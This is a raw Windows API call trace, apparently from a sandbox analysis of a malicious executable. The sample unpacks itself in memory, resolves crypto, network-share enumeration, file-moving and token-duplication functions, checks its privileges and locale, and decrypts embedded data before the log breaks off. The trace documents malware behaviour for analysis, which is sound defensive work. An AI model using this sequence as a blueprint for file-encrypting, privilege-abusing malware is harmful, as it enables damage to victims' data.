[0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.467] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.468] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.469] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0056.470] GetLastError () returned 0x0 [0062.078] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.078] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.079] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0062.081] VirtualProtect (in: lpAddress=0x2fdf2b0, dwSize=0x765a, flNewProtect=0x40, lpflOldProtect=0x18ea44 | out: lpflOldProtect=0x18ea44*=0x4) returned 1 [0062.103] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0062.104] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0062.104] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0062.104] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0062.104] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0062.104] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0062.104] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0062.104] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0062.104] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x38 [0062.107] Module32First (hSnapshot=0x38, lpme=0x18f840) returned 1 [0062.107] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0062.109] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0062.109] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0062.110] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0062.110] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0062.110] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0062.110] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0062.110] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0062.110] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0062.110] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0062.110] SetErrorMode (uMode=0x400) returned 0x0 [0062.110] SetErrorMode (uMode=0x0) returned 0x400 [0062.110] GetVersionExA (in: lpVersionInformation=0x18e770*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18e770*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0062.110] VirtualAlloc (lpAddress=0x0, dwSize=0x9200, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0062.111] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1d000, flNewProtect=0x40, lpflOldProtect=0x18f7f8 | out: lpflOldProtect=0x18f7f8*=0x2) returned 1 [0062.182] VirtualFree (lpAddress=0x30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.183] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0062.186] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0062.186] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0062.186] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0062.186] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0062.186] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0062.187] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="PeekNamedPipe") returned 0x76dc4821 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0062.188] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0062.189] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0062.189] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0062.599] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0062.599] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0062.599] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0062.599] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0062.599] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0062.600] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0062.601] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0062.601] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExA") returned 0x777248ef [0062.601] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExA") returned 0x77724907 [0062.601] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0062.601] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0062.601] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0062.607] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0062.607] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0062.607] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0062.607] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0062.612] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0062.612] atexit (param_1=0x20920) returned 0 [0062.612] GetVersion () returned 0x1db10106 [0062.612] GetCurrentProcess () returned 0xffffffff [0062.612] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f80c | out: TokenHandle=0x18f80c*=0x8c) returned 1 [0062.612] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18f810, TokenInformationLength=0x4, ReturnLength=0x18f814 | out: TokenInformation=0x18f810, ReturnLength=0x18f814) returned 1 [0062.612] CloseHandle (hObject=0x8c) returned 1 [0062.612] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" n2608" [0062.613] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" n2608", pNumArgs=0x18f814 | out: pNumArgs=0x18f814) returned 0x2fec230*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe" [0062.613] GetProcessHeap () returned 0x2fd0000 [0062.613] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1) returned 0x2fe6978 [0062.613] GetProcessHeap () returned 0x2fd0000 [0062.613] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x2c) returned 0x2fec2c0 [0062.613] CryptAcquireContextW (in: phProv=0x2fec2c0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2fec2c0*=0x2fece38) returned 1 [0062.634] GetProcessHeap () returned 0x2fd0000 [0062.634] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa0) returned 0x2fee498 [0062.634] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f788, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fec2f8) returned 1 [0062.635] CryptDecrypt (in: hKey=0x2fec2f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fee498, pdwDataLen=0x2fec2e8 | out: pbData=0x2fee498, pdwDataLen=0x2fec2e8) returned 1 [0062.635] CryptDestroyKey (hKey=0x2fec2f8) returned 1 [0062.635] GetSystemWindowsDirectoryW (in: lpBuffer=0x418018, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0062.635] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418220, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opboohpueclon.exe")) returned 0x37 [0062.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x419220, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0062.660] GetProcessHeap () returned 0x2fd0000 [0062.660] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fec328 [0062.660] GetProcessHeap () returned 0x2fd0000 [0062.660] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x10) returned 0x2feec40 [0062.660] GetProcessHeap () returned 0x2fd0000 [0062.660] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fec8a8 [0062.660] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef098) returned 1 [0062.660] CryptDecrypt (in: hKey=0x2fef098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fec8a8, pdwDataLen=0x18f7f8 | out: pbData=0x2fec8a8, pdwDataLen=0x18f7f8) returned 1 [0062.660] CryptDestroyKey (hKey=0x2fef098) returned 1 [0062.660] GetProcessHeap () returned 0x2fd0000 [0062.660] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fec8d0 [0062.660] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef098) returned 1 [0062.660] CryptDecrypt (in: hKey=0x2fef098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fec8d0, pdwDataLen=0x18f7f8 | out: pbData=0x2fec8d0, pdwDataLen=0x18f7f8) returned 1 [0062.660] CryptDestroyKey (hKey=0x2fef098) returned 1 [0062.660] GetProcessHeap () returned 0x2fd0000 [0062.660] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x40) returned 0x2fecf78 [0062.660] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef098) returned 1 [0062.660] CryptDecrypt (in: hKey=0x2fef098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fecf78, pdwDataLen=0x18f7f8 | out: pbData=0x2fecf78, pdwDataLen=0x18f7f8) returned 1 [0062.661] CryptDestroyKey (hKey=0x2fef098) returned 1 [0062.661] GetProcessHeap () returned 0x2fd0000 [0062.661] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x80) returned 0x2fef290 [0062.661] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef098) returned 1 [0062.661] CryptDecrypt (in: hKey=0x2fef098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fef290, pdwDataLen=0x18f7fc | out: pbData=0x2fef290, pdwDataLen=0x18f7fc) returned 1 [0062.661] CryptDestroyKey (hKey=0x2fef098) returned 1 [0062.661] GetProcessHeap () returned 0x2fd0000 [0062.661] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x14) returned 0x2fef098 [0062.661] GetProcessHeap () returned 0x2fd0000 [0062.661] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xd) returned 0x2feec58 [0062.661] GetProcessHeap () returned 0x2fd0000 [0062.661] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1f) returned 0x2fec8f8 [0062.661] GetProcessHeap () returned 0x2fd0000 [0062.661] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1e) returned 0x2fec920 [0062.661] GetProcessHeap () returned 0x2fd0000 [0062.661] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xd) returned 0x2feec70 [0062.661] GetProcessHeap () returned 0x2fd0000 [0062.661] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x18) returned 0x2fef0b8 [0062.661] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0062.661] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0062.661] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0062.662] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0062.662] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0062.662] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0062.662] GetProcessHeap () returned 0x2fd0000 [0062.662] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef290 | out: hHeap=0x2fd0000) returned 1 [0062.662] GetProcessHeap () returned 0x2fd0000 [0062.662] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feec58 | out: hHeap=0x2fd0000) returned 1 [0062.662] GetProcessHeap () returned 0x2fd0000 [0062.662] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec8f8 | out: hHeap=0x2fd0000) returned 1 [0062.662] GetProcessHeap () returned 0x2fd0000 [0062.662] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec920 | out: hHeap=0x2fd0000) returned 1 [0062.662] GetProcessHeap () returned 0x2fd0000 [0062.662] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feec70 | out: hHeap=0x2fd0000) returned 1 [0062.662] GetProcessHeap () returned 0x2fd0000 [0062.662] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef0b8 | out: hHeap=0x2fd0000) returned 1 [0062.662] GetProcessHeap () returned 0x2fd0000 [0062.662] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef098 | out: hHeap=0x2fd0000) returned 1 [0062.662] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18f7e8, cchData=32 | out: lpLCData="\x03") returned 16 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4) returned 0x2fec378 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa0) returned 0x2fef290 [0062.663] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef098) returned 1 [0062.663] CryptDecrypt (in: hKey=0x2fef098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fef290, pdwDataLen=0x18f7d8 | out: pbData=0x2fef290, pdwDataLen=0x18f7d8) returned 1 [0062.663] CryptDestroyKey (hKey=0x2fef098) returned 1 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fe6988 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x12) returned 0x2fef098 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef350 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1a) returned 0x2fec920 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef360 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xc) returned 0x2feec70 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef370 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1a) returned 0x2fec8f8 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef380 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feec58 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef390 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x26) returned 0x2fef738 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.663] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef3a0 [0062.663] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x18) returned 0x2fef0b8 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef290 | out: hHeap=0x2fd0000) returned 1 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4) returned 0x2fef3b0 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] 